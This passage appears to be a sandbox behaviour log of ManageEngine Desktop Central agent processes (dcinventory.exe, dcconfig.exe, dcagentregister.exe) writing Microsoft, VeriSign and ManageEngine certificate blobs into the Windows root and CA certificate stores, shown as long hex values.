5c876e50a4e8c338a4fbcb2cc592669b855ecb7a6c937c8029585b57b54069ba0879a66462159d879645b5662320038b1c73a0d3a27933e0505986db2fe50225ea732a9f0014c836c7923be94e00ecd85609b9334912d2540b01abac47b691297d4cb475805201e8ca82f69fccac9c8f17ea2f26b0ab72ac0bfe9e511ec74355674f51b357d6b6ecee52b73ae94ee1d78188bc4f8e75bb4ba8f035aa26d4676749b2704c3b93dc1ddf78908672b238a4d1dc924dc958eb2b125cd43bae8c6bb083e5013ff80932f693353422afdd370d7709802bcd4800f18c9919470501e9d1bfd14ed0e628433799a40a4a08d99a7173d2aacd31136376a1376f92381e7d123c6632e7cb6de1fc5289ddcad666059a9661bea228c71ca3a736503c3aa4df4a6ee6873bceebf0e081379d133c528ebdb91d34c61dd50a6a3d9829708c892ad1ab8210481fdcf4efa5c5bb551a3863844eb76cad9554ec6522104917b8c01ec70fac5447 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob = 5900000001000000100000005200530041002f004d0044003500000014000000010000001400000001f0334c1aa1d9ee5b7ba9de43bc027d570933fb0b00000001000000400000004d006900630072006f0073006f00660074002000410075007400680065006e007400690063006f0064006500280074006d002900200052006f006f0074000000090000000100000016000000301406082b0601050507030406082b060105050703030300000001000000140000007f88cd7223f3c813818c994614a89c99fa3b52470f0000000100000010000000d67576f5521d1ccab52e9215e0f9f74319000000010000001000000007d34ded498d4577f261bd38b6b8736e2000000001000000da030000308203d6308202bea003020102020101300d06092a864886f70d01010405003050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479301e170d3935303130313038303030315a170d3939313233313233353935395a3050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100df08bae33f6e649bf589af28964a078f1b2e8b3e1dfcb88069a3a1cedbdfb08e6c8976294fca603539ad7232e00bae293d4c16d94b3c9ddac5d3d109c92c6fa6c2605345dd4bd155cd031cd2595624f3e578d807ccd8b31f903fc01a71501d2da712086d7cb0866cc7ba853207e1616faf03c56de5d6a18f36f6c10bd13e69974872c97fa4c8c24a4c7ea1d194a6d7dceb05462eb818b4571d8649db694a2c21f55e0f542d5a43a97a7e6a8e504d2557a1bf1b1505437b2c058dbd3d038c93227d63ea0a5705060adb6198652d4749a8e7e656755cb8640863a9304066b2f9b6e334e86730e1430b87ffc9be72105e23f09ba74865bf09887bcd72bc2e799b7b0203010001a381ba3081b7300d0603551d0a040630040302078030320603550403042b13294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930720603551d01046b306980101a1be75b9ffd8c2ac339ae0c622e5332a1523050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479820101300d06092a864886f70d010104050003820101002dc9e2f6129e5d5667fafa4b9a7edc29565c80140228856e26f3cd58da5080c5f819b3a67ce29d6b5f3b8f2274e61804fc4740d87a3f3066f012a4d1eb1de7b6f498ab5322865158ee230976e41d455c4bff4ce302500113cc41a45297d486d5c4fe8383657deabea2683bc1b12998bfa2a5fc9dd384ee701750f30bfa3cefa9278b91b448c845a0e101424b4476041cc219a28e6b2098c4dd02acb4d2a20e8d5db9368e4a1b5d6c1ae2cb007f10f4b295efe3e8ffa17358a9752ca2499585feccda448ac21244d244c8a5a21fa95a8e56c2c37bcf4260dc821ffbce74067ed6f1ac196a4f745cc51566316cc16271910f595b7d2a821adfb1b4d81d37de0d0f dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\245C97DF7514E7CF2DF8BE72AE957B9E04741E85\Blob = 5900000001000000100000005200530041002f004d00440035000000140000000100000014000000344f302d25693191eaf7735cabf5868d378240ec030000000100000014000000245c97df7514e7cf2df8be72ae957b9e04741e8509000000010000000c000000300a06082b060105050703080b00000001000000320000004d006900630072006f0073006f00660074002000540069006d0065007300740061006d007000200052006f006f00740000000f00000001000000100000009df0d13100123aeca770130f4ad8d2091900000001000000100000007fdff50729446710244a447ca2a197ea2000000001000000b1020000308202ad30820216020101300d06092a864886f70d010104050030819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e301e170d3937303531333136313235395a170d3939313233303233353935395a30819e3120301e060355040a13174d6963726f736f6674205472757374204e6574776f726b311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e312d302b060355040b13244d6963726f736f66742054696d65205374616d70696e67205365727669636520526f6f74312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e30819f300d06092a864886f70d010101050003818d0030818902818100b75a38f51f37cca943c4dc2418bef28552b41d5b5f18b90b8f4b6da8ffcd40506cd3a0d35c47c2b9f786e4cd7d350569371faf3ddd1ffd8f1534c2c479cc59748a6f8c0ec3e811eb8438479853e1f10c0de4010cf01b1e20da2a7a3dc215528e8aff7b32bf581e25988326cb8ac9c4071424bc499ed77ab3871a2533bc6d08470203010001300d06092a864886f70d010104050003818100505bc56b6f8d525b0dc9bdac347398ca0a87caae4c4aba14a4eb52709521e0b5a1604ef743025101af1e3a70cebf18b686289967eb08e897405c1682fdb825fb366f6f763ec54c8ee2a751facac163ba5e8324470b9372f6449acea7953a8f50109e1db15916abcf3edf838bc7fac36bdc649f402b1f452404ae492ff6df0c91 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob = 5900000001000000120000005200530041002f0053004800410031000000030000000100000014000000d559a586669b08f46a30a133f8a9ed3d038e2ea818000000010000001000000091161b894b117ecdc257628db460cc041900000001000000100000006ed6ed7df52fc19bdc9e5fe9e2be21fb1400000001000000140000000acfeb4b07e703a01f4cef28ee7256f7517591550f00000001000000140000004973e092cf8a9e2ca5f988493a5bacfe3895942e040000000100000010000000acd80ea27bb72ce700dc22724a5f1e9220000000010000008703000030820383308202eca003020102021046fcebbab4d02f0f926098233f93078f300d06092a864886f70d0101050500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3937303431373030303030305a170d3136313032343233353935395a3081ba311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e31333031060355040b132a566572695369676e20496e7465726e6174696f6e616c20536572766572204341202d20436c617373203331493047060355040b13407777772e766572697369676e2e636f6d2f43505320496e636f72702e6279205265662e204c494142494c495459204c54442e286329393720566572695369676e30819f300d06092a864886f70d010101050003818d0030818902818100d88280e8d619027d1f85183925a2652be1bfd405d3bce6363baaf04c6c5bb6e7aa3c734555b2f1bdea9742ed9a340a15d4a95cf54025ddd907c132b2756cc4cabba3fe56277143aa63f5303e9328e5faf1093bf3b74d4e39f75c495ab8c11dd3b28afe70309542cbfe2b518b5a3c3af9224f90b202a7539c4f34e7ab04b27b6f0203010001a381e33081e0300f0603551d13040830060101ff02010030440603551d20043d303b3039060b6086480186f84501070101302a302806082b06010505070201161c68747470733a2f2f7777772e766572697369676e2e636f6d2f43505330340603551d25042d302b06082b0601050507030106082b0601050507030206096086480186f8420401060a6086480186f845010801300b0603551d0f040403020106301106096086480186f842010104040302010630310603551d1f042a30283026a024a0228620687474703a2f2f63726c2e766572697369676e2e636f6d2f706361332e63726c300d06092a864886f70d010105050003818100408e4997968a73dd8e4def3e61b7caa062adf40e0abb753de26ed82cc7bff4b98c369bcaa2d09c724639f6a682036511c4bcbf2da6f5d93b0ab598fab378b91ef22b4c62d5fdb27a1ddf33fd73f9a5d82d8c2aead1fcb028b6e94948134b838a1b487b24f738de6f4154b8ab576b06dfc7a2d4a9f6f136628088f28b75d68071 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 1900000001000000100000005d8515a09ed46b45148184a4f0821b5f140000000100000014000000f2bd842a31cc4b6e2bc3a5de31b4e44b8450b94403000000010000001400000001d84e226b2a33caf9d672212eda98d1383538720f000000010000002000000018b1339874f148fc29bb5b044d2a659cf188b34d00819a9f2e3c1f3257e01e3e2000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\A43489159A520F0D93D032CCAF37E7FE20A8B419\Blob = 5900000001000000100000005200530041002f004d004400350000000400000001000000100000002a954eca79b2874573d92d90baf99fb61400000001000000140000004a5c7522aa46bfa4089d39974ebdb4a360f7a01d030000000100000014000000a43489159a520f0d93d032ccaf37e7fe20a8b4190b00000001000000320000004d006900630072006f0073006f0066007400200052006f006f007400200041007500740068006f007200690074007900000069000000010000000e000000300c060a2b0601040182373c03020f00000001000000100000008b3c3087b7056f5ec5ddba91a1b901f01900000001000000100000003fc8cb0bc05241e58d65e9448b2d07c25c00000001000000040000000008000020000000010000001604000030820412308202faa003020102020f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d01010405003070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479301e170d3937303131303037303030305a170d3230313233313037303030305a3070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100a902bdc170e63bf24e1b289f97785e30eaa2a98d255ff8fe954ca3b7fe9da2203e7c51a29ba28f60326bd1426479eeac76c954daf2eb9c861c8f9f8466b3c56b7a6223d61d3cde0f0192e896c4bf2d669a9a682699d03a2cbf0cb55826c146e70a3e38962ca92839a8ec498342e3840fbb9a6c5561ac827ca1602d774ce999b4643b9a501c310824149fa9e7912b18e63d986314605805659f1d375287f7a7ef9402c61bd3bf5545b38980bf3aec54944eaefda77a6d744eaf18cc96092821005790606937bb4b12073c56ff5bfba4660a08a6d2815657efb63b5e16817704daf6beae8095feb0cd7fd6a71a725c3ccabcf008a32230b30685c9b320771385df0203010001a381a83081a53081a20603551d0104819a30819780105bd070ef69729e23517e14b24d8effcba1723070312b3029060355040b1322436f70797269676874202863292031393937204d6963726f736f667420436f72702e311e301c060355040b13154d6963726f736f667420436f72706f726174696f6e3121301f060355040313184d6963726f736f667420526f6f7420417574686f72697479820f00c1008b3c3c8811d13ef663ecdf40300d06092a864886f70d0101040500038201010095e80bc08df3971835edb80124d87711f35c60329f9e0bcb3e0591888fc93ae621f2f057932cb5a047c862effcd7cc3b3b5aa9365469fe246d3fc9ccaade057cdd318d3d9f10706abbfe124f1869c0fcd043e3115a204fea627bafaa19c82b37252dbe65a1128a250f63a3f7541cf921c9d615f352ac6e433207fd8217f8e5676c0d51f6bdf152c7bde7c430fc203109881d95291a4dd51d02a5f180e003b45bf4b1ddc857ee6549c75254b6b4032812ff90d6f0088f7eb897c5ab372ce47ae4a877e376a000d06a3fc1d2368ae04112a8356a1b6adb35e1d41c04e4a84504c85a33386e4d1c0d62b70aa28cd3d5543f46cd1c55a670db123a8793759fa7d2a0 dcinventory.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 03000000010000001400000001d84e226b2a33caf9d672212eda98d1383538722000000001000000f0030000308203ec308202d4a003020102020830f9ca65fc2e9638300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303930353135333833365a180f32303531303930353135333833365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100aef8672f556790cdebb255f807eccab76a04bc1c143d5b09c5b3fdc18d82f1a4de51121bfdc59228d867c708c725809e818b645da4f2ccb4a64201387f1f9f1da4aecb0e5f4e91ea23ae9be44cc8a502f600b849ab122d1e38127a606633d7fe5f0e373f6516d4363278ffd080c90ffa2174efc8e592470c9ea4dd888868b919731a75b46a64ef04df7ab22628217fc94b4aeed1b3aa85b1eff2bfd10e7eb26a0a1f1018f0cf6495997d93a35d4a84d93fb09ab94a2b3d6f1f0c53e18ec3a6546c6fd31d9f96a7a15ee7b533f99e3398d6111372bf1456dfe5dff2d9a69d94667d15f9cb163486ef1c6e747ff9a4b7e4c6f4b4870a62a0f888a2bcd2898067930203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944301f0603551d23041830168014f2bd842a31cc4b6e2bc3a5de31b4e44b8450b944300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100a80af55364a09362062bfa8e0df04bcb52530fa02a506b049983c3718cf0cc2f6c6dc702ebdd708e5ec9c46308a8b30475baca1c12241f1736efbf0f8eb268067a83f547054f9bf2425397f773e438e004ea103a8f5c750099308aec7eedc260842f75c0fc5c7db4d77783e2b855a4d11137066131ddf2cc9860a7bf3372642819f3fafa35de58206882eb76f067f9eac61022bf9a969bca97a95591cedf98662fef99825328dd53f5fe328ce5c92e52dcec5b523986f8d44b7e99c2d7aac25638dc45bda776baede57717891a751e2ad2ff9802ee34edf8bb05b919463636b8872e924cd536c5ce77f1a87d48e5e2d1db9ea003350fdb0b944ac5d5afc87fa5 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae890300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba2000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcagentregister.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000001900000001000000100000003c70faea25600ce3b2cc5f0b222ed629140000000100000014000000d5f656cb8fe8a25c6268d13d94905bd7ce9a18c40300000001000000140000003b1efd3a66ea28b16697394703a72ca340a05bd50b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020003200300031003000000069000000010000000e000000300c060a2b0601040182373c03020f000000010000002000000008fba831c08544208f5208686b991ca1b2cfc510e7301784ddf1eb5bf0393239040000000100000010000000a266bb7dcc38a562631361bbf61dd11b5c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a003020102021028cc3a25bfba44ac449a9b586b4339aa300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303130301e170d3130303632333231353732345a170d3335303632333232303430315a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313030820222300d06092a864886f70d01010105000382020f003082020a0282020100b9089e28e4e4ec064e5068b341c57bebaeb68eaf81ba22441f6534694cbe704017f2167be279fd86ed0d39f41ba8ad92901ecb3d768f5ad9b591102e3c058d8a6d2454e71fed56ad83b4509c15a51774885920fc08c58476d368d46f2878ce5cb8f3509044ffe3635fbea19a2c961504d607fe1e8421e0423111c4283694cf50a4629ec9d6ab7100b25b0ce696d40a2496f5ffc6d5b71bd7cbb72162af12dca15d37e31afb1a4698c09bc0e7631f2a0893027e1e6a8ef29f1889e42285a2b1845740fff50ed86f9cede2453101cd17e97fb08145e3aa214026a172aaa74f3c01057eee8358b15e06639962917882b70d930c246ab41bdb27ec5f95043f934a30f59718b3a7f919a793331d01c8db22525cd725c946f9a2fb875943be9b62b18d2d86441a46ac78617e3009faae89c4412a2266039139459cc78b0ca8ca0d2ffb52ea0cf76333239dfeb01fad67d6a75003c6047063b52cb1865a43b7fbaef96e296e21214126068cc9c3eeb0c28593a1b985d9e6326c4b4c3fd65da3e5b59d77c39cc055b77400e3b838ab839750e19a42241dc6c0a330d11a5ac85234f773f1c7181f33ad7aeccb4160f3239420c24845ac5c51c62e80c2e27715bd8587ed369d9691ee00b5a370ec9fe38d80688376baaf5d70522216e266fbbab3c5c2f73e2f77a6cadec1a6c6484cc3375123d327d7b84e7096f0a14476af78cf9ae166130203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414d5f656cb8fe8a25c6268d13d94905bd7ce9a18c4301006092b06010401823715010403020100300d06092a864886f70d01010b05000382020100aca5968cbfbbaea6f6d7718743315688fd1c32715b35b7d4f091f2af37e214f1f30226053e16147f14bab84ffb89b2b2e7d409cc6db95b3b64657066b7f2b15adf1a02f3f551b8676d79f3bf567be484b92b1e9b409c2634f947189869d81cd7b6d1bf8f61c267c4b5ef60438e101b3649e420caada7c1b1276509f8cdf55b2ad08433f3ef1ff2f59c0b589337a075a0de72de6c752a6622f58c0630569f40b930aa40771582d78becc0d3b2bd83c5770c1eaeaf1953a04d79719f0faf30ce67f9d62ccc22417a07f2974218ce59791055de6f10e4b8da836640160968235b972e269a02bb578cc5b8ba69623280899ea1fdc0927c7b2b3319842a63c5006862fa9f478d997a453aa7e9edee6942b5f3819b4756107bfc7036841873eaeff9974d9e3323dd260bba2ab73f44dc8327ffbd61592b11b7ca4fdbc58b0c1c31ae32f8f8b942f77fdc619a76b15a04e1113d6645b71871bec92485d6f3d4ba41345d122d25b98da613486d4bb0077d99930961817457268aab69e3e4d9c788cc24d8ec52245c1ebc9114e296deeb0ada9edd5fb35bdbd482ecc620508725403afbc7eecdfe33e56ec3840955032539c0e9355d6531a8f6bfa009cd29c7b336322edc95f383c15acf8b8df6eab321f8a4ed1e310eb64c11ab600ba412232217a3366482910412e0ab6f1ecb500561b440ff598671d1d533697ca9738a38d7640cf169 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 0f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae892000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\0C537943D984E7A9A7ECAFE3D02597044883D2EB\Blob = 040000000100000010000000ff4f48aa0418ea97b5a947c1b88e2c450f0000000100000020000000678711780f573ee42d3474adf07920addf8d50d59a9ecbea435848af21b0acba0300000001000000140000000c537943d984e7a9a7ecafe3d02597044883d2eb140000000100000014000000d7d1d98416f9d66ab22d9742da05fba8ef81ae89190000000100000010000000b37107d40c0f591b9b87de057e4f96862000000001000000d8030000308203d4308202bca00302010202080f10cdb52ae0e8ce300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303930353135333833365a180f32303531303930353135333833365a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6b6bd673ae66456c66063e4fa63a75f3fad305a6c5eb727b9e8cd9807c18b66fa08efd4ac3aeb5d1c0fdb4e8b9755500e4d40eed1104e3d078227c145111b2bf339e0095c361d737fbf51d53c559cd15abf709c0c3e5e2135b97d7a87a96628936b07040e4b789094bd8f8e120846546b3af51e8229de738a3714cacfd91f722bf6371c0355805853972adcc6dcac5c9974e3e4a1ef205cc945be56e12f9acce189e8742831178707f03548bf038eb4a95dd3c3d0a6dc8fce70492c7e1ccdc3f88678ff5e741c88d95c2db6b96bd934b481adeb54f43fcb291b5c262138a951823c8ca180a6cdbbbfe9441c0303a8f28f4e04a86cb91006f0fa5a8613dfa32d0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e04160414d7d1d98416f9d66ab22d9742da05fba8ef81ae89301f0603551d23041830168014d7d1d98416f9d66ab22d9742da05fba8ef81ae89300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b05000382010100bc4f67a4eaa5765a83275811e63d89b733c205353adce2525b7c5c05d5d6c1d5faec0c09e62af60f656d297975ee3061bbda8cafdca297bb1a5974ee9a35dcde9adfa103dfdcaa91159d83165f5c02b9cd5071bfd85ec8d6f1eceb2ada13bd9dbc8778ead1c507c33089d5f5c95b5d63dd15f4b506f2c1a82b6c62560eab066bdb9b3e88db36a611f35ae700c46a43f0e4d18d0f12f2118ea0e7cfaade6723074f2542c56c108d184b836f98f928e89218c629d0b0f48d01653e06bdadc71c763c8c5e721df5f02653df6a9200a487b6086c6745ff930b4b5fd5a9c46303f2f22510eb79e806e518839a5d299c6949b070304971b66d0af368770d647cf9228c dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\01D84E226B2A33CAF9D672212EDA98D138353872\Blob = 